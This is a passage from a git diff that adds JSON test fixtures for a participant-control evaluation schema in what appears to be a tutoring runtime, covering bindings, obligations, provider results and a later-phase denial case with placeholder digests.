"sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "provider-state", + "ref": "state-other", + "revision": "rev1" + } + } + ], + "rule_firings": [], + "run": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "run", + "ref": "run-1", + "revision": "rev1" + }, + "sink_ref": "teaching-observation", + "state_cut": { + "anchor_event_ref": "event-1", + "anchor_order": 1, + "cut_kind": "sequence_prefix", + "cut_ref": "cut-1", + "history_domain": "participant_behavior_history", + "history_prefix_length": 2, + "order_model": "behavior_history_order", + "predecessor_event_refs": [ + "event-0" + ] + }, + "subject": { + "contract_id": "participant-observation-envelope-v1", + "episode_id": "episode-1", + "participant_address": "participants.student", + "subject_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "subject_kind": "participant-observation", + "subject_ref": "observation-1", + "subject_revision": "rev1" + }, + "trigger": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "trigger", + "ref": "event-1", + "revision": "rev1" + }, + "trigger_root": "root-1" + }, + "selection": { + "apparatus": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "apparatus", + "ref": "apparatus-1", + "revision": "rev1" + }, + "bindings": [ + { + "applicability": [ + { + "direction": "ingress", + "episode_id": "episode-1", + "participant_address": "participants.student", + "phase_ref": "practice", + "sink_ref": "teaching-observation", + "subject_kind": "participant-observation" + } + ], + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "binding-evidence", + "revision": "rev1" + } + ], + "implementation": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "implementation", + "ref": "provider-artifact", + "revision": "rev1" + }, + "instance_id": "influence", + "limitations": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1" + } + ], + "mechanism": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "mechanism", + "ref": "propagation", + "revision": "rev1" + }, + "memory_scope": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1" + }, + "profiles": [ + { + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630", + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1" + } + ], + "protocol_revision": "participant-control-provider/v2", + "state_scope": { + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "scope_id": "state-influence", + "sharing": "participant" + } + }, + { + "applicability": [ + { + "direction": "ingress", + "episode_id": "episode-1", + "participant_address": "participants.student", + "phase_ref": "practice", + "sink_ref": "teaching-observation", + "subject_kind": "participant-observation" + } + ], + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "binding-evidence", + "revision": "rev1" + } + ], + "implementation": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "implementation", + "ref": "provider-artifact", + "revision": "rev1" + }, + "instance_id": "other", + "limitations": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1" + } + ], + "mechanism": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "mechanism", + "ref": "propagation", + "revision": "rev1" + }, + "memory_scope": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1" + }, + "profiles": [ + { + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630", + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1" + } + ], + "protocol_revision": "participant-control-provider/v2", + "state_scope": { + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "scope_id": "state-other", + "sharing": "participant" + } + } + ], + "bounds": { + "expires_at_order": 20, + "max_attempts": 3, + "max_depth": 2, + "max_effects": 2, + "max_fanout": 2, + "max_firings_per_rule": 1 + }, + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "selection-evidence", + "revision": "rev1" + } + ], + "interpretation": "participant-control-applicability/rev1", + "obligations": [ + { + "constraints": [], + "obligation_id": "teaching-here", + "profile": { + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630", + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1" + }, + "required_kind": "ifc-fact", + "required_strength": "exact" + }, + { + "constraints": [], + "obligation_id": "teaching-there", + "profile": { + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630", + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1" + }, + "required_kind": "decision", + "required_strength": "exact" + } + ], + "required_profiles": [ + "teaching-influence" + ], + "schema_version": "participant-control-selection/v2", + "selection_id": "selection-1", + "semantic_revision": "sem-235/rev1", + "slots": [ + { + "constraints": [], + "dependencies": [], + "instance_id": "influence", + "kind": "ifc-fact", + "required_strength": "exact", + "role": "mandatory", + "slot_id": "fact" + }, + { + "constraints": [], + "dependencies": [ + { + "kind": "ifc-fact", + "slot_id": "fact" + } + ], + "instance_id": "other", + "kind": "advisory", + "required_strength": "exact", + "role": "advisory", + "slot_id": "assessment" + }, + { + "constraints": [], + "dependencies": [ + { + "kind": "advisory", + "slot_id": "assessment" + } + ], + "instance_id": "influence", + "kind": "decision", + "required_strength": "exact", + "role": "mandatory", + "slot_id": "rule" + } + ] + } + }, + "results": [ + { + "binding_digest": "sha256:46077550ad5e4bcd2eb86537d6759360b0a15a6faf4ec33e068c09af030e278e", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "evaluated_basis": [], + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "result-evidence", + "revision": "rev1" + } + ], + "instance_id": "influence", + "invocation_digest": "sha256:6eedb8ca7540290c79c772ed7bd65961992721cfbd58ed0665ac7428ca6f7f7f", + "next_provider_state": null, + "payload": { + "domain": "teaching-influence-domain/rev1", + "kind": "ifc-fact", + "source_refs": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "input", + "ref": "observation-1", + "revision": "rev1" + } + ], + "tokens": [ + "coached-hint" + ] + }, + "result_id": "result-fact", + "rule_outcome": null, + "slot_id": "fact", + "status": "resolved" + }, + { + "binding_digest": "sha256:1869c48719bd69e0cb9d20ebdcf25741701ff03869b16e4c5a3543a8da45e7d1", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "evaluated_basis": [], + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "result-evidence", + "revision": "rev1" + } + ], + "instance_id": "other", + "invocation_digest": "sha256:36aaff3fa0fbf53ddf2cbfcbff3a36160204a9bdc7cd49d587d8b35ed78c76b5", + "next_provider_state": null, + "payload": { + "assessment": "negative", + "kind": "advisory", + "sample": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "assessment-sample", + "revision": "rev1" + }, + "score": 0.2 + }, + "result_id": "result-assessment", + "rule_outcome": null, + "slot_id": "assessment", + "status": "resolved" + }, + { + "binding_digest": "sha256:46077550ad5e4bcd2eb86537d6759360b0a15a6faf4ec33e068c09af030e278e", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "evaluated_basis": [], + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "result-evidence", + "revision": "rev1" + } + ], + "instance_id": "influence", + "invocation_digest": "sha256:c55bec711126640624b0115ec1e5eb58b9cad00c317a5ebced1bfb206ed2a73c", + "next_provider_state": null, + "payload": { + "disposition": "permit", + "kind": "decision", + "rule": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "rule", + "ref": "decision-rule", + "revision": "rev1" + } + }, + "result_id": "result-rule", + "rule_outcome": null, + "slot_id": "rule", + "status": "resolved" + } + ], + "schema_version": "participant-control-evaluation/v2", + "state_proposals": [], + "support": [ + { + "effective_support": { + "constraints": [], + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "declaration_ref": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "manifest", + "ref": "backend-manifest", + "revision": "rev1" + }, + "declared_level": "exact", + "downgrade_authority": null, + "effective_level": "exact", + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "support-evidence", + "revision": "rev1" + } + ], + "feature": "participant_modular_control", + "installation": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "installation", + "ref": "installation-1", + "revision": "rev1" + }, + "instance_id": "influence", + "limitations": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1" + } + ], + "status": "resolved" + }, + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "support-relation", + "revision": "rev1" + } + ], + "instance_id": "influence", + "obligation_id": "teaching-here", + "relation": "exact", + "required_constraints": [], + "required_strength": "exact" + }, + { + "effective_support": { + "constraints": [], + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "declaration_ref": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "manifest", + "ref": "backend-manifest", + "revision": "rev1" + }, + "declared_level": "exact", + "downgrade_authority": null, + "effective_level": "exact", + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "support-evidence", + "revision": "rev1" + } + ], + "feature": "participant_modular_control", + "installation": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "installation", + "ref": "installation-1", + "revision": "rev1" + }, + "instance_id": "influence", + "limitations": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1" + } + ], + "status": "resolved" + }, + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "support-relation", + "revision": "rev1" + } + ], + "instance_id": "influence", + "obligation_id": "teaching-there", + "relation": "exact", + "required_constraints": [], + "required_strength": "exact" + }, + { + "effective_support": { + "constraints": [], + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "declaration_ref": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "manifest", + "ref": "backend-manifest", + "revision": "rev1" + }, + "declared_level": "exact", + "downgrade_authority": null, + "effective_level": "exact", + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "support-evidence", + "revision": "rev1" + } + ], + "feature": "participant_modular_control", + "installation": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "installation", + "ref": "installation-1", + "revision": "rev1" + }, + "instance_id": "other", + "limitations": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1" + } + ], + "status": "resolved" + }, + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "support-relation", + "revision": "rev1" + } + ], + "instance_id": "other", + "obligation_id": "input:assessment", + "relation": "exact", + "required_constraints": [], + "required_strength": "exact" + } + ] +} diff --git a/contracts/fixtures/participant-runtime/participant-control-evaluation-v2/valid/later-phase-denial.json b/contracts/fixtures/participant-runtime/participant-control-evaluation-v2/valid/later-phase-denial.json new file mode 100644 index 000000000..dfb0778fd --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-control-evaluation-v2/valid/later-phase-denial.json @@ -0,0 +1,1108 @@ +{ + "commit": { + "coverage_digest": "sha256:7aca381ff112ead69ee1204c3de0a8b9f7043d01917b0cc61a72e2c650bba59f", + "decision_digest": "sha256:de5a5245590de9fbeabae3e94e0a1b1425203473daf81ad1346ab7cdaf909937", + "dispatchable_effect_ids": [], + "effect_intent_digests": [ + "sha256:b84526d8397cec429d8786f0e2aad150080fc987fbf6f62cf9a65fcd16756554" + ], + "effects_consumed": 0, + "expected_history_heads": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "history", + "ref": "history-head", + "revision": "rev1" + } + ], + "receipt": null, + "result_digests": [ + "sha256:621aa9e32db264cb92c23ff1938b560a9a96cbb2f23deb33ce0ef02bd1c7704f", + "sha256:45e5fbd6cf5fae7760544ffef92f6383a74eee21ab132a6c4b93462082754d8b", + "sha256:0258af11a92b4eb5b479936958b406b2839ad06d54400572b7ace1316f72e7d7", + "sha256:8304557e6402345ed746a896904815c3f906113fde75e1ec7a2866780a4a5ad9" + ], + "state_proposal_digests": [], + "status": "prepared" + }, + "composition": { + "blockers": [ + "parent:deny" + ], + "contributing_result_ids": [ + "result-assessment", + "result-audit", + "result-fact", + "result-rule" + ], + "disposition": "deny", + "lost_advice_slot_ids": [], + "rule_revision": "participant-control-applicability/rev1" + }, + "effect_plan": { + "decisions": [ + { + "decision_id": "result-rule", + "disposition": "deny", + "reasons": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "decision-basis", + "revision": "rev1" + } + ], + "rule": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "rule", + "ref": "decision-rule", + "revision": "rev1" + } + } + ], + "effect_outcomes": [], + "effects": [ + { + "allowed_parent_dispositions": [ + "deny" + ], + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "effect_id": "effect-1", + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "effect-evidence", + "revision": "rev1" + } + ], + "key": { + "firing_epoch": "epoch-1", + "rule_id": "hint-followup", + "rule_revision": "rev1", + "run_ref": "run-1", + "slot": "followup", + "trigger_root": "root-1" + }, + "kind": "effect-request", + "originating_principal_ref": "teacher", + "parent_outcome": "none", + "phase": "independent", + "predecessor_effect_ids": [], + "rule": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "rule", + "ref": "hint-followup", + "revision": "rev1" + }, + "target": { + "audience_ref": "reviewers", + "audit_record": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "audit", + "ref": "audit-1", + "revision": "rev1" + }, + "kind": "audit", + "retention_policy": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "policy", + "ref": "retention", + "revision": "rev1" + }, + "subject": { + "contract_id": "participant-observation-envelope-v1", + "episode_id": "episode-1", + "participant_address": "participants.student", + "subject_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "subject_kind": "participant-observation", + "subject_ref": "observation-1", + "subject_revision": "rev1" + } + }, + "trigger": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "trigger", + "ref": "trigger-1", + "revision": "rev1" + } + } + ], + "incumbent_gate_disposition": "permit", + "parent_admission_receipt": null, + "parent_application_receipt": null, + "parent_applied": false, + "parent_crossing": { + "digest": "sha256:a6041f01335e5816f8452889f857b701ad9605e15805722a434445eaacba7868", + "kind": "crossing", + "ref": "crossing-1", + "revision": "rev1" + }, + "parent_disposition": "deny", + "realized_effect_ids": [], + "runnable_effect_ids": [ + "effect-1" + ] + }, + "evaluation_id": "evaluation-v2", + "invocations": [ + { + "binding_digest": "sha256:46077550ad5e4bcd2eb86537d6759360b0a15a6faf4ec33e068c09af030e278e", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "instance_id": "influence", + "invocation_id": "invoke-fact", + "predecessor_inputs": [], + "projection": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "projection", + "ref": "input-projection", + "revision": "rev1" + }, + "requested_slot_ids": [ + "fact" + ], + "state_input": { + "predecessor_invocation_id": null, + "scope": { + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "scope_id": "state-influence", + "sharing": "participant" + }, + "source": "committed", + "state": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "provider-state", + "ref": "state-1", + "revision": "rev1" + } + } + }, + { + "binding_digest": "sha256:1869c48719bd69e0cb9d20ebdcf25741701ff03869b16e4c5a3543a8da45e7d1", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "instance_id": "other", + "invocation_id": "invoke-assessment", + "predecessor_inputs": [ + { + "kind": "ifc-fact", + "result_digest": "sha256:621aa9e32db264cb92c23ff1938b560a9a96cbb2f23deb33ce0ef02bd1c7704f", + "result_id": "result-fact", + "slot_id": "fact" + } + ], + "projection": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "projection", + "ref": "input-projection", + "revision": "rev1" + }, + "requested_slot_ids": [ + "assessment" + ], + "state_input": { + "predecessor_invocation_id": null, + "scope": { + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "scope_id": "state-other", + "sharing": "participant" + }, + "source": "committed", + "state": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "provider-state", + "ref": "state-other", + "revision": "rev1" + } + } + }, + { + "binding_digest": "sha256:46077550ad5e4bcd2eb86537d6759360b0a15a6faf4ec33e068c09af030e278e", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "instance_id": "influence", + "invocation_id": "invoke-rule", + "predecessor_inputs": [ + { + "kind": "advisory", + "result_digest": "sha256:45e5fbd6cf5fae7760544ffef92f6383a74eee21ab132a6c4b93462082754d8b", + "result_id": "result-assessment", + "slot_id": "assessment" + } + ], + "projection": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "projection", + "ref": "input-projection", + "revision": "rev1" + }, + "requested_slot_ids": [ + "rule" + ], + "state_input": { + "predecessor_invocation_id": null, + "scope": { + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "scope_id": "state-influence", + "sharing": "participant" + }, + "source": "committed", + "state": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "provider-state", + "ref": "state-1", + "revision": "rev1" + } + } + }, + { + "binding_digest": "sha256:46077550ad5e4bcd2eb86537d6759360b0a15a6faf4ec33e068c09af030e278e", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "instance_id": "influence", + "invocation_id": "invoke-audit", + "predecessor_inputs": [], + "projection": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "projection", + "ref": "input-projection", + "revision": "rev1" + }, + "requested_slot_ids": [ + "audit-slot" + ], + "state_input": { + "predecessor_invocation_id": null, + "scope": { + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "scope_id": "state-influence", + "sharing": "participant" + }, + "source": "committed", + "state": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "provider-state", + "ref": "state-1", + "revision": "rev1" + } + } + } + ], + "lost_advice": [], + "request": { + "applicability": { + "applicable_slot_ids": [ + "fact", + "assessment", + "rule", + "audit-slot" + ], + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "coverage": [ + { + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "coverage-here", + "revision": "rev1" + } + ], + "obligation_id": "teaching-here", + "slot_ids": [ + "fact" + ], + "status": "applies" + }, + { + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "coverage-there", + "revision": "rev1" + } + ], + "obligation_id": "teaching-there", + "slot_ids": [ + "rule" + ], + "status": "applies" + } + ], + "derivation_evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "subset-derivation", + "revision": "rev1" + } + ], + "required_slot_ids": [ + "fact", + "assessment", + "rule" + ], + "selection_digest": "sha256:96a1703e7777fa442be425a58ee3402f85d0a655cbbf31882d74b2b509cc196e" + }, + "context": { + "apparatus": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "apparatus", + "ref": "apparatus-1", + "revision": "rev1" + }, + "attempt": 1, + "audience_ref": "student-audience", + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "clock": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "clock", + "ref": "clock-1", + "revision": "rev1" + }, + "controller_ref": "teacher", + "crossing": { + "digest": "sha256:a6041f01335e5816f8452889f857b701ad9605e15805722a434445eaacba7868", + "kind": "crossing", + "ref": "crossing-1", + "revision": "rev1" + }, + "depth": 0, + "destination_ref": "student", + "direction": "ingress", + "effects_consumed": 0, + "episode_id": "episode-1", + "expected_history_heads": [ + { + "digest": 